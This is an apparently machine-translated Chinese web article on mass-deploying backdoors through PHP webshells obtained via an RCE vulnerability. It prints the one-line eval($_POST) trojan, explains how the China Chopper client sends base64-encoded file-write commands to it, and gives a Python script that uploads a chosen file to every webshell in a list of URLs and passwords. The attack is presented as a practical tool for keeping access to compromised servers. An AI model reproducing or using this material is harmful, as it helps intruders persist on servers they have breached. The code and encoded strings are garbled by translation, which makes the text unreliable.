宝哥软件园

PHP实现单个文件批量上传

编辑:宝哥软件园 来源:互联网 时间:2021-09-19

很多时候,当我们通过一个通用的RCE漏洞成批抓取大量的webshell时,我们可能想要成批地传递一个后门供以后使用。这时,我们不禁面临一个问题。用菜刀一个个上传文件太慢了。那么如何快速批量上传文件呢?本文介绍了如何基于php实现这种需求。

001的原理分析。

首先要了解菜刀是如何通过一句话的木马实现web服务器的文件管理的。

以下是最常见的php一句话木马:

?PHP eval($ _ POST[1]);当我们上传一个木马到web服务器时,可以直接在菜刀中输入上面的密码(比如上面例子中的1)连接到服务器来管理文件。

那么,菜刀如何用一句简单的话来管理和控制服务器呢?通过分析菜刀的原理不难发现,菜刀使用函数eval来执行POST方法传输的命令语句。

因此,如果我们想用菜刀通过一句话的木马上传文件,我们只需要向远程服务中包含一句话的url发送带有文件写入命令的POST请求,例如:

邮政:

[email protected]($ _ POST[z0]);z0=echo $ _ SERVER[' DOCUMENT _ ROOT '];

上述代码由两部分组成:

1.一句话的密码。

2.发送到服务器的php执行代码。

现在我们知道了原理,只需要发送下面的POST请求,一句话就可以完成上传文件的功能:

邮政:

[email protected](base64 _ decode($ _ POST[z0]);z0=qgluav9 zzxqoimpc3 bsyxlfzxjyb 3 jziiwimcipo 0 bzzxrfdgltzv9 saw1 dcgwkttac 2v 0 x21 hz2ljx3f 1 B3 RLC 19 ydw 50 aw1 kdapo2 vjag 8 oii 0 fcipozszskjg9 jf9 Qt 1 nuwyj6 msjdowok yz0k x1 bpu 1 rbinoyil 07 circjpx n 0 cl9 yzxbsywywnlkjcciisiiisjgmpowokyz1zjfcmvwb

对该开机自检数据的仔细分析包括以下部分:

1.首先是php第一句的密码。

2.用eval方法进行base64解码后执行z0,解码后显示如下:

@ini_set('display_errors ',' 0 ');@ set _ time _ limit(0);@ set _ magic _ quotes _ runtime(0);echo('-| ');$ f=base64 _ decode($ _ POST[' Z1 ']);$ c=base64 _ decode($ _ POST[' z2 ']);$c=str_replace('r ','',$ c);$c=str_replace('n ','',$ c);$ buf=for($ I=0;$ is tren($ c);$i=1) $buf。=substr($c,$i,1);echo(@fwrite(fopen($f,' w ',$ buf));echo(' |-');die();3.继续调用z0中base64解码的z1和z2,解码的Z1和Z2如下:

Z1=/var/www/root/1 . txt z2=hello world!在这一点上,我们可以清楚地发现,上述POST请求的功能实际上是发送一条带有hello world的消息!名为1.txt的文件以/var/www/root/的路径上传到服务器。

002代码实现。

基于以上原理分析,我们可以使用下面的代码基于php批量上传文件:

#!/usr/bin/python # coding=utf-8导入urllib导入urllib 2导入sysimport base64导入redef post(URL,数据): req=urllib2 .请求(网址)数据=urllib.urlencode(数据)开启程序=urllib2.build_opener(urllib2 .httpookieprocessor())响应=打开。打开(请求、数据)返回响应。read()def get _ shell _ path(postal,passwd): shell _ path=' ' try : data={ } data[passwd]=' @ eval(base64 _ decode($ _ POST[z0]);'data[' z0 ']=' zwnobyackx1nfulzfulsnus 0 nsvbux0 zjtevqu 1 FJ 107 ' shell _ path=post(邮政,数据).条带()除外异常:传递返回shell _ path def main(): print ' n批量上传本地文件(仅适用于PHP web shell) n ' shellfile=sys。argv[1]#存放webshell路径和密码的文件localfile=sys.argv[2] #本地待上传的文件名shell_file=open(shellfile,' rb ')local _ content=str(open(本地文件,' rb ').read())获取shell _ file : postal=每行。拆分(',')[0]中的每一行strip() passwd=eachline.split(',')[1].strip() try: reg=' .*/([^/]*.php?)“match_shell_name=re.search(reg,每行)if match _ shell _ name : shell _ name=match _ shell _ name。组(1)shell _ path=get _ shell _ path(邮政、密码).strip()target _ path=shell _ path。split(shell _ name)[0]本地文件target _ path _ base64=base64。b64编码(target _ path)target _ file _ URL=每行。split(shell _ name)[0]本地文件数据={ }数据[passwd]=' @ eval(base64 _ decode($ _ POST[z0]);'数据[' z0 ']=' qgluav 9 zzxqoimp C3 bsyxlfzxjyb 3 jziiwimcipo 0 bzzxrfdgltzv 9 saw1 dpcgwktta 2v 0 x21 hz2ljx3f 1 B3 RLC 19 ydw 50 aw1 kda PO2 jag 8 oii 0 fcipozskjgjgjgy9 ymfzzty0x 2 rly 29 kzsgk 1 bpu 1 rbirbixi 0 powyz 1 yxinjjgvjb 2 rlkcrfue9打印[-]“目标文件url”,上传失败!else :打印'[-]'邮政',不受支持的webshell!'除了异常,e:打印'[-]'姿势,连接失败!'shell _ file。close()if _ _ name _ _==' _ _ main _ _ ' : main()web shell。文本文件(textfile)的格式: [一句话webshell文件路径],[webshell连接密码]如下:

http://www.example1.com/1.php, 1

http://www.example2.com/1.php, 1

http://www.example3.com/1.php, 1

保存上面脚本为batch_upload_file.py执行命令python批处理_上传_文件。py网络外壳。txt 1。txt,效果显示如下:

以上内容给大家介绍了服务器端编程语言(专业超文本预处理器的缩写)实现批量上传单个文件的相关知识,希望大家喜欢。

更多资讯
游戏推荐
更多+